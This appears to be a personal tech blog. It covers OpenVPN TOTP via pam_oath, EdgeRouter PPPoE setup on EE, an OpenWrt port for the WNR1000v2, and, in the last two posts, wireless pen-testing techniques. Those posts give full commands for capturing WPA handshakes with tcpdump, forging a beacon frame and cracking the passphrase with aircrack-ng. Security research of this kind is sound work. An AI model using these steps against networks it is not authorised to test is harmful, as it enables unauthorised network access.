Setting up TOTP for OpenVPN with OATH toolkit

This one took some effort. Actually, my first setup had Authy’s OpenVPN plugin and their 7 digit TOTP flavour, but it always felt wrong to require a service in the middle for something which needs a shared secret and the clock to be within the same window. There’s no actual requirement for a service here. Twillio also decided to stop maintaining the Authy plugin, so there’s not a lot of great news in the middleware department.

There’s no TOTP support in OpenVPN. OATH toolkit came to the rescue. To make the two work together, there’s a PAM module for OATH, pam_oath. OpenVPN has a PAM plugin. Now, this seems as easy as RTFM, but, it isn’t. Couple of years ago when I made this setup first, there was no comprehensive end-to-end guide on how to achieve this. PAM isn’t the most friendliest environment to debug. When you add the slowdown of having to input random 6 digit codes for every try to see what’s going on, the whole process comes to a grinding halt.

The OpenVPN authentication strategy:

  1. Static key tls-auth. This is something which OpenVPN does and it is recommended in most cases. The second benefit of having this on is that the server doesn’t identify itself as OpenVPN, like it does without tls-auth. There’s no banner to grab to please those doing enumeration. If the right TLS key with the right direction isn’t presented within a fairly short window of time, the connection is simply closed.
  2. Mutual TLS authentication. This is pretty standard in the OpenVPN world where you have a CA, the server gets a cert + key, the clients get certs + keys. This is an excellent guide on how to create a CA. I’m pointing this one out as most guides forget to mention the X509v3 extensions. OpenVPN is honouring the server_cert and the usr_cert extensions which I have accidentally discovered trying to do mutual auth with a cert issued by the same CA with the server_cert extension. Pro Tip: the CRL must not be expired as it drops the mutual authentication despite the server and client having valid certificates. Other people and I have learned this the hard way. This isn’t an OpenVPN specific problem as, for example, I have had the same problem with Haproxy-based mutual authentication and very unhelpful errors about “expired certificates” when the expired bit is the revocation list itself.
  3. TOTP via the PAM plugin. Because not all OpenVPN clients can handle the OTP field, this is implemented on top of the username + password fields. This isn’t an issue for the CLI client, but most GUI options aren’t smart enough to prompt for username + password + OTP. Given that this is the 3rd authentication factor besides the static key tls-auth and mutual TLS auth, the lack of password isn’t a problem.

Plugging pam_oath into OpenVPN is as easy as:

reneg-sec 0
plugin /usr/lib/openvpn/ "openvpn login USERNAME one-time PASSWORD"

Bear in mind that the actual plugin path may be different on your distribution. This is an Ubuntu example. The reneg-sec 0 option disables the re-keying which otherwise will drop the VPN connection unannounced. By default this is set to 3600 seconds and I had a fun time determining why my connection was dropping until I realised it happens periodically. Sometimes it wouldn’t even reconnect after such drop. The problem is caused by the fact that the re-keying can not happen with the credentials provided upon the initial connection since by design the TOTP has only a limited amount of time during which the OTP is valid.

The first bit after the .so, “openvpn”, is the name of the PAM module. The “login” argument gets the USERNAME value from the OpenVPN authentication dialogue, and the “one-time” argument gets the PASSWORD value from the OpenVPN authentication dialogue. The client configuration needs auth-user-pass to prompt for the username and OTP, besides the mutual TLS auth configuration options, ca, cert, and key.

The PAM module is configured in /etc/pam.d/openvpn and reads as follows:

auth requisite usersfile=/etc/openvpn/users.oath window=5 digits=6
account required

The first line of that module is where pam_oath is actually referenced. The “usersfile” path is where the credentials are stored i.e the “login” – checked against USERNAME and “one-time” seed – checked against PASSWORD. 6 digits is the typical TOTP used by most authenticator apps, although FreeOTP supports 8 digit TOTP as well. The window sets the search depth rather than being a reference for a time window.

The second line is just waiving by anybody who’s passing the OTP challenge. That line took the most effort to get there after a lot of groaning, swearing, and generally ranting about PAM and non-sensical error messages. Turns out, an actual account is required in the PAM flow after auth, but there isn’t one as there’s no account anywhere, whether the system itself or another authentication system, to match the OTP username. pam_permit must not be used without having a proper use case. This is one of those use cases. Otherwise, it may be a catastrophic security issue if used as a solution for every PAM problem. You have been warned!

The users.oath file itself needs to be properly protected as all the pre-shared OTP secrets live there. Basically root rw and nothing else. Even though my openvpn worker process, i.e the one taking in client connections, runs as nobody, that file is still readable/writable as the master process runs as root. Every time a successful challenge is passed, pam_oath updates that file.

The structure of users.oath is: Option User Prefix Seed. The manual is not brilliant, therefore I can’t tell why the prefix is just a dash, but for all intents and purposes, this is unused. The Arch wiki explains this better.


HOTP/T30/6 foo - 16a142bc8c34f2682f219dd9e75f76c3a7b7d62aad85047411bef4beb97514b8

TOTP is a particular case of HOTP i.e the counter is substituted for a non-decreasing time value, hence the Option reads HOTP/T30/6 which makes it the most common TOTP scheme – 30 seconds time step size with 6 digits OTP. Authy, Google Authenticator, FreeOTP, etc. support this. 6 digits is a commonly used number, not the mandated number of digits. The number of digits must match the digits value passed as argument to pam_oath.

“foo” is the username value. I have only tried alphanumeric values in there, therefore I can’t really tell what OATH tookit truly supports i.e whether dashes, dots, and underscores are supported. I know there’s groaning in some tooling when UNIX usernames contains characters like dot, hence mentioning this.

The “-” dash is the prefix.

The hex code is the pre-shared secret. RFC 4226 says:

The algorithm MUST use a strong shared secret. The length of the shared secret MUST be at least 128 bits. This document RECOMMENDs a shared secret length of 160 bits.

RFC 4226 – Section 4, R6

That secret is hex encoded, which means it uses 2 characters for each byte. That makes the minimum length 32 hex chars to encode 128 bits.

For example, one can use this to generate secrets:

oathtool --verbose $(head -10 /dev/urandom | sha256sum | cut -b 1-64)

That line generates 256 bit secrets which is above the recommended value. While sha256sum itself generates 256 bit values, putting that through oathtool has more benefits. The hex secret value is simply reflecting the input hex secret.

Sample output:

Hex secret: 16a142bc8c34f2682f219dd9e75f76c3a7b7d62aad85047411bef4beb97514b8
Digits: 6
Window size: 0
Start counter: 0x0 (0)


The interesting bits (pun not intended): the Hex secret and the Base32 secret. The hex encoded secret of the TOTP goes into users.oath. The Base32 encoded secret may be used to generate QR codes which may be easily read with an authenticator app on your phone, like Authy, Google Authenticator, FreeOTP, etc.


qrencode -o foo.png 'otpauth://totp/foo@openvpn?secret=C2QUFPEMGTZGQLZBTXM6OX3WYOT3PVRKVWCQI5ARX32L5OLVCS4A===='

The output of qrencode looks like:

You can scan that with an authenticator app to check that it works and check against:

oathtool --totp --digits 6 16a142bc8c34f2682f219dd9e75f76c3a7b7d62aad85047411bef4beb97514b8

It should read the same value provided the time is in sync on both your devices. You can even get future TOTP’s with the window argument:

oathtool --totp --digits 6 --window 2 16a142bc8c34f2682f219dd9e75f76c3a7b7d62aad85047411bef4beb97514b8

That prints the current TOTP plus the next 2.

Two things to keep in mind:

  1. Reusing the example secret which I have used here would be catastrophically stupid.
  2. Don’t scan QR codes when strangers on the Internet tell you to. While the one from above is legit, that may not always be the case.

Using Ubiquiti Edgerouter with on EE

Getting in my area was kind of a bad news – no plans for FTTP any time soon. However, it provided a choice that before did not really exist as Virgin Media surely knows how to milk their loyal customers/hostages.


  1. Virgin Media’s higher download throughput lower upload throughput higher latency DOCSIS 3 – with abysmal latency sometimes which affects near realtime communication due to the crappy Intel Puma 6 in their hubs or the usual cable high latency.
  2. Opeanreach’s lower download throughput higher upload throughput lower latency – essentially glorified VDSL2 which is very sensitive to the phone line length. Basically BT, but with a different name because reasons, but still a fully owned subsidiary.

Yup, this is the sorry state of decade-behind-the-times broadband infrastructure in the UK for the people who don’t live in the upper 10% of places with FTTP.

My plan from EE came with a VDSL2 router/modem (EE Smart Hub), so, fortunately, Openreach provided a Huawei MT992 modem. They call this a managed installation as the modem is supported my Openreach. Unlike the parent company, BT, EE still offer the older Smart Hub which doesn’t have support. That’s not the case with BT’s Smart Hub 2. To add insult to the injury, the vast majority of these CPE’s on Openreach’s network don’t support bridge (aka modem mode) like Virgin’s SuperHub does. This is one of the bits that Virgin is doing right.

This ISP assumption that all of their customers are simpletons is rather disturbing. To be clear, this isn’t Openreach’s fault, but the standard MO for most of the ISP’s using their network. So, getting an MT992 with my installation was a blessing as the market is sorely missing enough options for modems. You do get the odd MT992 listing on eBay for £300, but that price is clearly a pipe dream.

Using double NAT with the Smart Hub and my proper Edgerouter always felt wrong. It is wrong. For those with Smart Hub 2 this is the only solution until some company, like Draytek, steps up to the game with Vigor 166 and I expect acceptable prices. That doesn’t mean cheap – it just means significantly less than £300 on eBay.

To circle back to configuration, both the EE documentation and their support engineer were wrong. Phoned for an unrelated problem, but the possibility of using my own device in place of their CPE came up. They said that the communication between the MT992 modem and their Smart Hub uses a proprietary protocol – something which I did not buy.

Armed with the PPPoE credentials determined by reading their documentation (that bit is accurate), got the PPPoE up and running on my Edgerouter straight away. That’s Add Interface > Add PPPoE from the router homepage, but I have used their recommended 1492 MTU.

However, it didn’t take long to figure out that something is wrong – some websites were loading, but some were not. This kind of red herring made it more difficult to pinpoint the source of the problem, until I somehow remembered that QUIC is a thing and that some websites are using it. So, I have reliably determined that UDP based protocols (like DNS and QUIC) were fine, whereas anything TCP based was getting blackholed.

Cue the classic Path MTU Discovery problem because someone somewhere decided that ICMP is too much of a risk. You got to love the security theatre.

The first step was to enable the TCP MSS clamping. This immediately solved the TCP blackholing issues and it proved that indeed the MTU for the PPPoE interface is wrong. Can’t remember the actual value and I don’t want to. PPPoE is horrible enough that I don’t want to take a second performance hit if the TCP MSS clamping can be avoided.

Turns out – it can be avoided. I have been reading on the PlusNet forums (also a BT subsidiary) that the Openreach network supports baby jumbo frames with the right hardware. Turns out, that’s the case with Huawei MT992.

I have immediately tried this:

  1. Disable TCP MSS clamping.
  2. Set the PPPoE interface (pppoe0) MTU to the full 1500.
  3. Set the eth0 interface MTU to 1508. This is configured as WAN 1 on my router and it connects straight into the MT992 modem. It is the parent interface for the pppoe0 interface.

That’s it. No MSS clamping and no TCP blackholing issues either. There’s certainly no proprietary protocol either as the Edgerouter has been working for months and I have not observed any loss of performance compared to the EE Smart Hub.

Adding OpenWrt support for Netgear WNR1000v2

I’ve this router for the sole reason that it is a recommended piece of equipment for doing WiFu, but as as I previously mentioned, it fails to do its job.

In the mean time, I discovered that Netgear released some GPL firmwares which sit at the base of their firmwares. Basically you get a heavily modified OpenWrt Kamikaze (7.09) without a web interface and you need an ancient buildroot. You do have a command line utility for configuring it, but it is painful to do it so. I was unable to configure the WEP support in GPL by using the same config as the is using. Also, moving around the GPL firmware is difficult since there’s no vi support in busybox, but there’s a tftp client and cat.

The device itself is EOL, therefore the idea of using OpenWrt came up. I tried the generic AP81 build, as described here, but it corrupts the rootfs. The device boots in failsafe mode where you may flash a good firmware by using a TFTP client, therefore on the recovery side is good.

On the WikiDevi page for WNR1000v2 it is stated that it is using the same hardware as WNR612v2, but the WNR612v2 router has only two LAN ports, while WNR1000v2 has four. WNR612v2 itself uses hardware close to WNR2000v3 and both of these are supported by OpenWrt.

Flashing a WNR612v2 firmware, both factory and OpenWrt is impossible with the default images. The Netgear flashing support checks for the presence of a “magic number” in the firmware file. The procedure for finding that “magic number” is totally undocumented, therefore I’ve made a lot of wrong turns. I used the WNR612v2 “magic number” which is declared in OpenWrt, 0x32303631, and started to examine the firmware file. A quick grep confirmed that the byte sequence is present. Dumping the header of the file also confirmed it.

I repeated the procedure with the GPL firmware which I built for WNR1000v2 and with a factory firmware. It turns out that the magic number is: 0x31303031.


The rest of the work for adding WNR1000v2 support to OpenWrt was fairly straightforward after that as I used WNR2000v3 and WNR612v2 as template.

The rfkill and the WPS buttons don’t work at all. I don’t use WPS anyway, therefore for me is a non-issue. The lack of rfkill support may be a mild annoyance, but since this is my first router that actually has a button for toggling the wireless, doing it the usual way isn’t a big deal for me. I think the buttons may be controlled by GPIO, but I’m not sure and probably I’ll check this when my schedule allows it.

The patch and images are available into this Gist. The patch was made against the Barrier Breaker branch, r43617. The procedure for building your image if you don’t want to use my own image is described into the README.

I guess the next step is to add this support into the OpenWrt trunk, but I need to see if somebody is willing to merge the changes for supporting this device. I’ll need to test the patch and build more since the first merge with quilt wasn’t without issues. The purpose is to obtain a clean build in a single run.


Forging an 802.11 beacon frame

Let’s assume the following use case: you’ve gathered enough frames containing a valid WPA handshake, but you missed the mgt frame containing the ESSID. If it happens to know the ESSID, but the AP doesn’t broadcast it, and you don’t have the patience to wait for another frame (assuming the attack is fully passive), you may forge a mgt frame. I picked a beacon frame as the structure is simple and it’s easy to please aircrack-ng and Hashcat with it.

As the file used by the above mentioned brute-forcing tools is a capture file, you need to forge:

  • A radiotap header
  • A 802.11 MAC header
  • The frame body containing the ESSID information
  • Optionally: the FCS (frame check sequence)

I haven’t found an easy method for computing the FCS and the cracking tools don’t require a valid FCS.

For creating a capture file from the byte representation itself, you need a tool which is part of the Wireshark suite: text2pcap. Also you need the od and xxd tools for manipulating the hex representation of the bytes in order to please text2pcap.

Any radiotap header may be used. Here’s a forged one:

00 00 27 00 2b 40 08 a0 20 08 00 00 00 00 00 00
00 00 00 00 00 00 00 00 10 00 6c 09 80 04 FF 00
00 00 00 00 00 FF 00

It translates to the following information:


The next part is the 802.11 MAC header:


This image explains the structure of the 802.11 frame:


Address 4 is in use only in WDS, therefore not present in this header. The DS status is 00 in the frame control field, therefore the Address 1 field is the DA (ff:ff:ff:ff:ff:ff – the beacon frames are broadcasted), the Address 2 field is the SA, and Address 3 field is the BSSID (aa:bb:cc:dd:ee:ff -a forged MAC address for the purpose of demonstrating the concept). In this particular case, SA and BSSID is the same for obvious reasons. The last field is the sequence control which in this case indicates the fragment number 0 and the sequence number 1.

The frame body needs to contain the minimum information for the ESSID to be picked up by aircrack-ng.

You need 12 bytes for the fixed parameters field:

00 00 00 00 00 00 00 00 60 EA 11 04

Which translates to the following information:


The next (and last) field is required for indicating the ESSID. It requires a variable number of bytes:

  • 1 byte for the tag number. 0 = SSID parameter set
  • 1 byte for the tag length. 0x00 – 0x20 range
  • 0 – 32 bytes for the SSID field – the number of bytes indicated by the previous field, encoding the ESSID string

An easy method for generating this field is to use echo and hexdump:

echo -n "foobar" | hexdump
0000000 66 6f 6f 62 61 72

You get in the output the encoded bytes for the ESSID and the length on the second line, which means that the tagged parameters field of the frame body is:

00 06 66 6f 6f 62 61 72

Putting all of the above knowledge into practice:

cat forged-beacon.txt
00 00 27 00 2b 40 08 a0 20 08 00 00 00 00 00 00
00 00 00 00 00 00 00 00 10 00 6c 09 80 04 FF 00
00 00 00 00 00 FF 00 80 00 00 00 FF FF FF FF FF
00 00 00 00 00 00 00 60 EA 11 04 00 06 66 6f 6f
62 61 72
cat forged-beacon.txt | xxd -r -p | od -Ax -tx1 -v | \
text2pcap -l 127 - forged-beacon.cap
Input from: Standard input
Output to: forged-beacon.cap
Output format: PCAP
Wrote packet of 83 bytes.
Read 1 potential packet, wrote 1 packet (123 bytes).

You may check the capture with Wireshark. It should complain about the fact that the packet is malformed. You may ignore this error, or copy the computed FCS (0x954d6a59) and append the bytes to the forged-beacon.txt file.

Merging the capture with a previous capture containing the EAPOL messages is as simple as:

mergecap -a -F pcap -w handshake.cap forged-beacon.cap no-essid-eapol.cap

Capturing WPA handshakes with OS X

Fortunately, the wireless card from Apple’s hardware supports the monitor mode. Unfortunately, the aircrack-ng suite has only partial OS X support. That means: placing the card in monitor mode requires other methods as airmon-ng doesn’t know how to do it, you can’t capture wireless traffic with airodump-ng, most probably the drivers don’t support packet injection. No packet injection means no deauthentication, therefore you need to be patient as this attack is fully passive. However, you can use aircrack-ng to test that a capture has all the needed bits and pieces.

It requires arcane methods, getting out of the comfort zone, and going the extra mile you usually don’t find in courses talking about wireless security. Yes, you need to go MacGyver on this with tcpdump. This article is more about the research done in order to figure out the internals than actually doing pen testing with a Mac. But if the situation requires it and if you need to peek at 802.11ac traffic (the newer models, mid 2013+, have ac enabled hardware), this is valuable knowledge.

The first tool you need is aiport, which is a small utility hidden in Apple80211 private framework. I made a symlink in /usr/local/bin for easier invocation. In 10.9 it can be found here: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport

While airport itself can sniff traffic, it dumps all of the captured traffic. As I found out, parsing a 100 megs capture takes a while, and this capture size isn’t uncommon for a busy network. Therefore, for the purpose of capturing WPA handshakes its usage is restricted to disassociation from the network and setting an arbitrary channel for the wireless interface. You need to disassociate from the AP as taking en0 out of monitor mode reconnects the network and resets the channel setting.

# disassociate from the AP
sudo airport -z
# set an arbitrary channel, notice the lack of space between the flag and the value
sudo airport -c10
# check the channel
airport -c
channel: 10

You need a tool for capturing traffic. An up to date tcpdump or tshark may fill that role. The tcpdump that comes with OS X is too old to play nice. It is recommended to install tcpdump and mandatory to install wireshark. Both are available as brew recipes.

Either of the above tools have the -I (that’s capital I not l) flag for placing the wireless interface into the monitor mode. The functionality is actually part of libpcap. In order to keep the captures to minimum, you need two runs for gathering the required information.

# capture a beacon frame from the AP
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon.cap
# wait for the WPA handshake
tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w eapol.cap

$BSSID = The MAC address of the AP. tcpdump may be replaced with tshark -f in the above lines if you take out -U -vvv and use -V instead. tcpdump’s -U is tshark’s -l. Read the corresponding manuals for more information.

Usually you have to wait until the 0 from the tcpdump output changes to 4, but you don’t need all the frames of a four-way handshake in order to pass the capture to aircrack-ng. If there are captured packets, you may want to inspect them with Wireshark. Sometimes the frames aren’t captured as they are missed by the wireless interface. For cracking the passphrase you need two frames at minimum: either “Message 1 of 4” and “Message 2 of 4”, or “Message 2 of 4” and “Message 3 of 4”, as shown in the Info column in Wireshark. You may need to export specific packets from Wireshark in another capture. Mark the packets, then File > Export Specified Packets.

If the correct frames are captured, you may terminate the tcpdump process with Ctrl+C.

aircrack-ng needs a management frame containing the ESSID (beacon, probe response, association request, or reassociation request) and two data frames containing the EAPOL messages as mentioned above. The EAPOL messages are encapsulated in qos-data frames (a subtype of the data frames). You need to merge the beacon.cap and the eapol.cap captures.

mergecap -a -F pcap -w handshake.cap beacon.cap eapol.cap
aircrack-ng -w /path/to/wordlist handshake.cap

You need a probe response (subtype proberesp) for the networks that don’t broadcast their ESSID in beacon frames. You may combine this as a single capturing filter for getting both type of frames in a single run when the WPA handshake occurs. This won’t work for AP’s that broadcast their ESSID as the capture will contain a lot of useless packets. Of course, you may use either this method or the beacon method, but the capture parsing is slowed by the sheer size of the capture in this case.

tcpdump "(type mgt subtype proberesp or ether proto 0x888e) and ether host $BSSID" \
-I -U -vvv -i en0 -w hidden-handshake.cap

It may capture more than one probe response when the handshake happens. You may need to investigate with Wireshark or do an aircrack-ng test run against the capture to check that the capture is usable.

Another source for the ESSID value is to listen for association request frames (subtype assocreq) or reassociation request frames (subtype reassocreq) in order to fetch the ESSID. You may wait for a reassociation request if you got the handshake of a network with hidden ESSID, but you’ve missed the relevant mgt frame.

Waiting however for an association request is a method for combining all of the above knowledge in one capturing filter that works for both hidden and non-hidden networks. It also contains the minimum number of captured frames by using a single filter.

tcpdump "(type mgt subtype assocreq or ether proto 0x888e) and ether host $BSSID" \
-U -vvv -i en0 -w handshake.cap

I also tested that the captures work with Hashcat by converting them to the HCCAP format with cap2hccap. Building cap2hccap under OS X requires a small patch for MAX_BUFF. You need to change this:


into this:

#define MAX_BUFF (1024)